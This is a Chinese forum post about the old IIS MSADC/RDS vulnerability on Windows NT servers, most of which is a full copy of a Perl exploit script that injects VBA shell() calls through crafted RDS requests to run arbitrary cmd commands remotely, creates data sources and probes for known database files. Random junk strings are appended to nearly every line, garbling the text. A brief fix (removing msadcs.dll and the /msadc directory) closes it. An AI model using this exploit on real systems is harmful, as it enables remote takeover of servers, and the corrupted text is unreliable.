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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)  =}`d  
D\Ak-$kJ^  
涉及程序: QL/KY G  
Microsoft NT server A[Mke  
t? GH V3V  
描述:  Z1 D  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 u"v7shRp:  
G^c,i5}w  
详细: v Y[s#*+  
如果你没有时间读详细内容的话,就删除: I=0c\ U}  
c:\Program Files\Common Files\System\Msadc\msadcs.dll \OwF!~&  
有关的安全问题就没有了。  Unk/uk  
F9r.DG$}  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &6x(%o|  
g*V.u]U!i  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 (T%F^s5D  
关于利用ODBC远程漏洞的描述,请参看: 1q}L O2  
V:n0BlZ,B  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OIblBQ!  
Lw>B:3e  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 [6!k:-t+  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp }t)+eSUA  
Fw<"]*iu  
这里不再论述。 -b-a21,m>  
.zO^"mXjS  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 7>yd  
 +A3/^C0  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset yYCS-rF>  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 'UhoKb_p  
8M5)fDu*?  
YdhTjvx  
#将下面这段保存为txt文件,然后: "perl -x 文件名" r[L.TX3Ah=  
sVFO&|L  
#!perl P#O" {+`  
# b'z $S+  
# MSADC/RDS 'usage' (aka exploit) script UsE\p9mCuV  
# {T4_Xn-I  
# by rain.forest.puppy 7 Lm9I  
# :5k* kx#y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Sy8t2lk  
# beta test and find errors! =3bk=vy  
!l'nX  
use Socket; use Getopt::Std; |;gx;qp4cN  
getopts("e:vd:h:XR", \%args); EG{+Sz  
 Ng#psN  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; B"43o7C  
lx`?n<-X  
if (!defined $args{h} && !defined $args{R}) { _^<vp  
print qq~ Cd%5XD^  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "hyfo,r  
-h <host> = host you want to scan (ip or domain) tiK M+ ;C  
-d <seconds> = delay between calls, default 1 second bQaRl=:[:  
-X = dump Index Server path table, if available Jq_\r' YE  
-v = verbose S@,/$L  
-e = external dictionary file for step 5 )PN8HJAArh  
@yTu/U  
Or a -R will resume a command session ZdW+=;/#  
TK5$-6k  
~; exit;} K$S0h-?9]O  
M^kaik  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Za@\=}Tt  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} |O8e;v72g^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0LQRQuh1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); a ,mgM&yD  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} }9@rhW  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^%\a,~  
kepuh%KY[  
if (!defined $args{R}){ $ret = &has_msadc; ().C  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} x^y$pr  
khX/xL  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" stw@@GQ  
. "cmd /c "; 0}i 9`p  
$in=<STDIN>; chomp $in; lU1SN/'zx  
$command="cmd /c " . $in ; +Nn >*sz  
>@N.jw>#T  
if (defined $args{R}) {&load; exit;} 1]} \h]*  
]5'*^rz ^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; _c]}m3/  
&try_btcustmr; =-dnniKW4  
DFr$2Y3H  
print "\nStep 2: Trying to make our own DSN..."; Zr}>>aIJ]k  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; amsl>wc!  
11PL1zzH  
print "\nStep 3: Trying known DSNs..."; D4$b-?y  
&known_dsn; %<yW(s9{  
\%r#>8c8  
print "\nStep 4: Trying known .mdbs..."; r'i99 ~  
&known_mdb; /M5.Z~|/  
&OU.BR >  
if (defined $args{e}){ -l=C7e  
print "\nStep 5: Trying dictionary of DSN names..."; %jAc8~vW?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }  U#f*  
I]ej ]46K  
print "Sorry Charley...maybe next time?\n"; L`t786 (M  
exit; )QAYjW!Z  
lr&2,p<  
############################################################################## AG >D,6Y  
~criZI/  
sub sendraw { # ripped and modded from whisker X0*+]tRg  
sleep($delay); # it's a DoS on the server! At least on mine... orJ|Q3c)d  
my ($pstr)=@_; ;8H&FsR  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || C?. ;3 h  
die("Socket problems\n"); =o@}~G&HA  
if(connect(S,pack "SnA4x8",2,80,$target)){ a Mqt2{f+  
select(S); $|=1; !KV!Tkx h  
print $pstr; my @in=<S>; k2Q[v  
select(STDOUT); close(S); R5sEQ| E  
return @in; (0`rfYv5.R  
} else { die("Can't connect...\n"); }} puOMtCI  
.3EEi3z6z  
############################################################################## 3g7]$}  
1=]#=)+  
sub make_header { # make the HTTP request $bp'b<jx  
my $msadc=<<EOT D u<P^CE  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~Dg:siw  
User-Agent: ACTIVEDATA @.e4~qz\  
Host: $ip 42 `Uq[5Y  
Content-Length: $clen iu{y.}?  
Connection: Keep-Alive py$Gy-I~[  
GUQ3XF\  
ADCClientVersion:01.06 ]`-o\,lq  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 jzi%[c<G  
*r>Y]VG;S  
--!ADM!ROX!YOUR!WORLD! 1dr g5  
Content-Type: application/x-varg bP:u`!p -i  
Content-Length: $reqlen 1mV ' ~W  
X'd\b}Bm  
EOT Fmn_fW6  
; $msadc=~s/\n/\r\n/g; tdU'cc?M  
return $msadc;} qLBQ!>lR  
8Ogg(uS70'  
############################################################################## Ez <YD  
kU:Q&[/jzH  
sub make_req { # make the RDS request jhT/}"v  
my ($switch, $p1, $p2)=@_; z%fjG}z  
my $req=""; my $t1, $t2, $query, $dsn; i (rYc  
?(s9dS,7wZ  
if ($switch==1){ # this is the btcustmr.mdb query |QrVGm@2  
$query="Select * from Customers where City=" . make_shell(); !le#7Kii  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Lh+7z>1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} )~)T[S  
kb-XEJ}L  
elsif ($switch==2){ # this is general make table query :|l0x a  
$query="create table AZZ (B int, C varchar(10))"; 1xxTI{'g[  
$dsn="$p1";} @V4nc 'o.  
JA >&$h  
elsif ($switch==3){ # this is general exploit table query ILG&l<!E  
$query="select * from AZZ where C=" . make_shell(); BDp(&=ktq  
$dsn="$p1";} axG%@5  
ddYb=L+_b  
elsif ($switch==4){ # attempt to hork file info from index server B <Jxj  
$query="select path from scope()"; RCkmxO;b&  
$dsn="Provider=MSIDXS;";} <MxA;A  
}2=~7&)  
elsif ($switch==5){ # bad query ({4?RtYm  
$query="select"; s]vsD77&  
$dsn="$p1";} k]4CN  
z'Bvjul  
$t1= make_unicode($query); |}l/6WHB  
$t2= make_unicode($dsn); `[=/f=Q}  
$req = "\x02\x00\x03\x00"; 1\TkI=N3  
$req.= "\x08\x00" . pack ("S1", length($t1)); B \V ;{:  
$req.= "\x00\x00" . $t1 ; c3fd6Je5  
$req.= "\x08\x00" . pack ("S1", length($t2)); rl"yE=  
$req.= "\x00\x00" . $t2 ; /0L]Pf;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; _Wp, z`  
return $req;} Nj;(QhYZ  
g6q[ I8  
############################################################################## j1JdG<n  
} BP.t$_  
sub make_shell { # this makes the shell() statement r*7J#M /  
return "'|shell(\"$command\")|'";} jJ>I*'w  
NR^Z#BU  
############################################################################## &sq q+&ao  
CS^|="Zs  
sub make_unicode { # quick little function to convert to unicode X?8bb! g%Q  
my ($in)=@_; my $out; (!ud"A|ab4  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } &WbHM)_n  
return $out;} UuJ gB)  
8LtkP&Wx  
############################################################################## Lz- (1~o  
Or1ikI"  
sub rdo_success { # checks for RDO return success (this is kludge) <t*3w  
my (@in) = @_; my $base=content_start(@in); yWYsN  
if($in[$base]=~/multipart\/mixed/){ -z/>W+k  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} xG%O^  
return 0;} 6.v)q,JL  
e ~G IUwJ  
############################################################################## _T^@,!&  
En+`ZcA\z  
sub make_dsn { # this makes a DSN for us }g.)%Bw!  
my @drives=("c","d","e","f"); m]++ !  
print "\nMaking DSN: "; M4XU*piz  
foreach $drive (@drives) { btf]~YN  
print "$drive: "; 9@(V!G  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . l%cE o`U  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" yV@~B;eW0  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); xqVIw!J?/}  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ;>p{|^X0D  
return 0 if $2 eq "404"; # not found/doesn't exist uoY]@.  
if($2 eq "200") { U_0"1+jbq  
foreach $line (@results) { Yv;iduc('  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} k1^&;}/f:  
} return 0;} F-?s8RD  
-1F+,+m  
############################################################################## cj3P]2B#  
} AHR7mu=  
sub verify_exists { Daf;; w  
my ($page)=@_; ~<_P jV  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~ Q;qRx  
return $results[0];} ~EhM"go  
r^"pLzAx  
############################################################################## !uHVg(}  
ID=^497  
sub try_btcustmr { tw]Q5:6  
my @drives=("c","d","e","f"); ^X?3e1om  
my @dirs=("winnt","winnt35","winnt351","win","windows"); c(S66lp  
>x1?t  
foreach $dir (@dirs) { P_c9v/  
print "$dir -> "; # fun status so you can see progress .ktyA+r8v  
foreach $drive (@drives) { _E[)_yH'-  
print "$drive: "; # ditto z`@|v~i0`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; SxRa?5  
$reqlenlen=length( "$reqlen" ); >]8H@. \  
$clen= 206 + $reqlenlen + $reqlen; *+cW)klm  
&14Er,K  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); %,5_]bGvb  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} *p%=u>?&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8DJoQl9  
TqXB2`7Ri  
############################################################################## t'Pn*  
=I9RM9O<  
sub odbc_error { n#5%{e>  
my (@in)=@_; my $base; QK/~lN  
my $base = content_start(@in); FAd4p9[Y  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this [[0u|`T/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $> PV6  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ||kUi=5  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; | Xk>a7X  
return $in[$base+4].$in[$base+5].$in[$base+6];} odpjEeQC  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; vZt48g  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . >*goDtTjp  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 0W >,RR)  
?,x3*'-(  
############################################################################## w57D qG>  
L(qQ,1VY  
sub verbose { 8d"Ff  
my ($in)=@_; 0h~7"qUF@  
return if !$verbose; 3,-xk!W$L  
print STDOUT "\n$in\n";} jG&gd<^  
Tf?|*P  
############################################################################## 3It9|Y"6[  
'e06QMp@  
sub save { ]eZrb%B .  
my ($p1, $p2, $p3, $p4)=@_; R<x~KJ11c  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; pbePxOG  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; =?g B@vS  
close OUT;} OB5`a,5dI  
6` @4i'.  
############################################################################## %oE3q>S$en  
r5g:#mF"  
sub load { #Rcb iV*M  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ves x$!F#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 5ki<1{aVtZ  
@p=<IN>; close(IN); ^8eu+E.{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 6Z3L=j  
$target= inet_aton($ip) || die("inet_aton problems"); jLG Q^v"  
print "Resuming to $ip ..."; a$ FO5%o  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; VsM~$ )  
if($p[1]==1) { V t@]  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ;4ETqi9  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; m<uBRI*I  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); "WE*ED  
if (rdo_success(@results)){print "Success!\n";} (7_}UT@w-  
else { print "failed\n"; verbose(odbc_error(@results));}} 3c.,T  
elsif ($p[1]==3){ aaODj>  
if(run_query("$p[3]")){ V1Opp8  
print "Success!\n";} else { print "failed\n"; }} )Cfk/OnRd  
elsif ($p[1]==4){ TmIw?#q^  
if(run_query($drvst . "$p[3]")){ :N ~A7@  
print "Success!\n"; } else { print "failed\n"; }} L1J~D?q  
exit;} Y<0R5rO  
.8EaFEd  
############################################################################## XIJW$CY  
UiLiy?EJ  
sub create_table { 5ps7)]  
my ($in)=@_; B6#^a  
$reqlen=length( make_req(2,$in,"") ) - 28; J}'a|a@bk  
$reqlenlen=length( "$reqlen" ); X1PXX!]lo[  
$clen= 206 + $reqlenlen + $reqlen; oF0BBs$  
my @results=sendraw(make_header() . make_req(2,$in,"")); p`-Oz]  
return 1 if rdo_success(@results); ic(`Ev  
my $temp= odbc_error(@results); verbose($temp); (!B1} 5"  
return 1 if $temp=~/Table 'AZZ' already exists/; nkn4VA?"  
return 0;} u#"L gG.X  
&nyJ :?  
############################################################################## AeN$AqQd/  
\=NS@_t,  
sub known_dsn { *kE<7  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 51&K  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 78fFAN`  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", hiQ #<  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); FLzC kzJ:6  
qPG>0 O  
foreach $dSn (@dsns) { \x9.[?;=e  
print "."; K~ob]I<GiB  
next if (!is_access("DSN=$dSn")); |qFCzK9tD/  
if(create_table("DSN=$dSn")){ }5qpiS"V9  
print "$dSn successful\n"; VW/ICX~"d  
if(run_query("DSN=$dSn")){ &K.js  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { yrVk$k#6}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} vQ",rP%  
7U, [Ruu  
############################################################################## \]=''C=J  
Z&W*@(dX  
sub is_access { kt;uB X3  
my ($in)=@_; }a?(}{z-  
$reqlen=length( make_req(5,$in,"") ) - 28; X&14;lu%p  
$reqlenlen=length( "$reqlen" ); y}bliN7;1e  
$clen= 206 + $reqlenlen + $reqlen; O~ ]3.b  
my @results=sendraw(make_header() . make_req(5,$in,"")); y8arFG  
my $temp= odbc_error(@results); y1c2(K>tu  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); +l)[A{  
return 0;} #M~6A^)  
a*(,ydF|L  
############################################################################## {|D7H=f  
8%Eau wAx  
sub run_query { ]u<8j r  
my ($in)=@_; )~[rb<:)b  
$reqlen=length( make_req(3,$in,"") ) - 28; V|W[>/  
$reqlenlen=length( "$reqlen" ); h1AZ+9  
$clen= 206 + $reqlenlen + $reqlen; /c:78@  
my @results=sendraw(make_header() . make_req(3,$in,"")); J=sj+:GS  
return 1 if rdo_success(@results); _ ,~D]JYE  
my $temp= odbc_error(@results); verbose($temp); O.Xhi+  
return 0;} O=;}VZ<9  
_my!YS5n  
############################################################################## .Gq]Mrim9G  
ews{0  
sub known_mdb { A$o7<Hx  
my @drives=("c","d","e","f","g"); 0wnC"2GUX  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7Z[6_WD3  
my $dir, $drive, $mdb; h51)kN:  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; O@-|_N*;K  
Sxzt|{  
# this is sparse, because I don't know of many '74*-yd  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *)u%KYGr  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", p%ZOLoc)Y  
"\\system32\\certmdb.mdb", RHv|ijYy  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% DT#F?@LG(  
m:x<maP# E  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", mP[ZlS~"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /JbO$A  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", q)rxv7Iu\  
"\\cfusion\\cfapps\\security\\realm_.mdb", Mv\]uAT`  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", jWNF3\  
"\\cfusion\\database\\cfexamples.mdb", K zWqHq  
"\\cfusion\\database\\cfsnippets.mdb", gO%o A} !i  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", p|9Eue3j2  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", %s* F~E  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ZXH{9hxd  
"\\cfusion\\database\\smpolicy.mdb", yp l`vJ]X  
"\\cfusion\\database\cypress.mdb", n>k1 D  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", -ztgirU  
"\\website\\cgi-win\\dbsample.mdb", _oAWj]~rO  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %D6HY^]ayw  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Bh ,GQHJ  
); #these are just X-k$6}D  
foreach $drive (@drives) { Mp,aQ0bNS  
foreach $dir (@dirs){ %ki^XB86  
foreach $mdb (@sysmdbs) { !si}m~K!_  
print "."; 1.IEs:(;  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ He)vl.  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9gQ ]!Oq  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ T7# }& >  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ,%<ICusZ  
} else { print "Something's borked. Use verbose next time\n"; }}}}} fq4[/%6,O  
h;DLD8L  
foreach $drive (@drives) { w tSX(LN Y  
foreach $mdb (@mdbs) { n =qu?xu  
print "."; |!hN!j*)  
if(create_table($drv . $drive . $dir . $mdb)){ + C'<*  
print "\n" . $drive . $dir . $mdb . " successful\n"; Lm1  -  
if(run_query($drv . $drive . $dir . $mdb)){ ESi'3mbeC  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /Xf_b.ZM&  
} else { print "Something's borked. Use verbose next time\n"; }}}} #fT<]j(  
} JrNqS[c/  
|{V@t1`  
############################################################################## 7&w$@zs87  
kG>m(n  
sub hork_idx { wrm ReT?  
print "\nAttempting to dump Index Server tables...\n"; /ei(Q'pc[  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 6xiCTs0@  
$reqlen=length( make_req(4,"","") ) - 28; N'n\_x  
$reqlenlen=length( "$reqlen" ); :878q TB  
$clen= 206 + $reqlenlen + $reqlen; KvY1bMU!  
my @results=sendraw2(make_header() . make_req(4,"","")); *|Bt!  
if (rdo_success(@results)){ J u"K"  
my $max=@results; my $c; my %d; Lpv,6#m`)  
for($c=19; $c<$max; $c++){ ')zf8>,  
$results[$c]=~s/\x00//g; S'}pUGDO  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; t .-%@,s  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; V)jF]u~g  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; E'+?7ZGWj  
$d{"$1$2"}="";} Zonr/sA~  
foreach $c (keys %d){ print "$c\n"; } IutU ~%wv  
} else {print "Index server doesn't seem to be installed.\n"; }} /zg|I?$>Z4  
L['g')g.  
############################################################################## *_@t$W  
Ex -?[Hq  
sub dsn_dict { 1+v!)Y>Z&  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); H$rNT/C  
while(<IN>){ lN~u='Kc  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; z$Z{ LR  
next if (!is_access("DSN=$dSn")); @FaK/lKK  
if(create_table("DSN=$dSn")){ k7)<3f3&S.  
print "$dSn successful\n"; 'mYUAVmSC#  
if(run_query("DSN=$dSn")){ F2!]T=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ^,{ r[}  
print "Something's borked. Use verbose next time\n";}}} 3A!Qu$r9  
print "\n"; close(IN);} TrR=3_;.7  
cm17hPe`}n  
############################################################################## e N^6gub  
K9QC$b9(  
sub sendraw2 { # ripped and modded from whisker WPDi)U X  
sleep($delay); # it's a DoS on the server! At least on mine... ;D|g5$OE&  
my ($pstr)=@_; EYSBC",  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :CGh$d] +  
die("Socket problems\n"); Ci$?Hm9n  
if(connect(S,pack "SnA4x8",2,80,$target)){ bsv!z\}  
print "Connected. Getting data"; ]S7>=S  
open(OUT,">raw.out"); my @in; NudY9 ~   
select(S); $|=1; print $pstr; yn|U<Hxl~H  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @M!nAQ8hY  
close(OUT); select(STDOUT); close(S); return @in; M$Ow*!DfP  
} else { die("Can't connect...\n"); }} .f-s+J&ED  
}9~U5UXWU  
############################################################################## c1ptN  
L "5;<  
sub content_start { # this will take in the server headers se*!OiOt  
my (@in)=@_; my $c; 2Dw}o;1'  
for ($c=1;$c<500;$c++) { X}ft7;Jpy  
if($in[$c] =~/^\x0d\x0a/){ D9%t67s  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } )QW p[bV  
else { return $c+1; }}} ZmAo9>'Kg  
return -1;} # it should never get here actually @n^2UJ  
q{uv?{I  
############################################################################## ;( [^+_/  
a[ yyEgm2  
sub funky { y`a]##1j$M  
my (@in)=@_; my $error=odbc_error(@in); mGh8/Xt  
if($error=~/ADO could not find the specified provider/){ V6kJoSyde  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; I78Q8W(5  
exit;} 1otE:bi  
if($error=~/A Handler is required/){ UId?a} J  
print "\nServer has custom handler filters (they most likely are patched)\n";  ?)2;W  
exit;} $Gs|Z$(  
if($error=~/specified Handler has denied Access/){ cv"Bhql  
print "\nServer has custom handler filters (they most likely are patched)\n"; `]4tJJy$  
exit;}} \{. c0  
Vc!'=&*  
############################################################################## wxE'h~+  
NX8. \Pf#  
sub has_msadc { >D_!d@Z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Q(jIqY1Hf  
my $base=content_start(@results); :aR_f`KMm  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); @dc4v_9  
return 0;} {r?+PQQ#  
 L0>7v  
######################## WZ N0`Od  
<lP5}F87  
>!PCEw<i  
解决方案: p%-;hL!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll wUKt$_]``  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ^K0oJg.E  
iQvqifDmh  
拿出来充数 哈哈
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